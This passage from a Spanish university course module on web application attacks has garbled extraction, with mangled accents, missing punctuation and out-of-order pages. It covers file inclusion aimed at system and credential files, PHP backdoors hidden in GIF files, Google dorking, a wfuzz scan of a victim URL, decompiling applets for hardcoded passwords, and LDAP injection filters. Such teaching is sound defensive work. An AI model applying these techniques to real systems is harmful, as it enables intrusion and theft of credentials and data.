pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 24: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

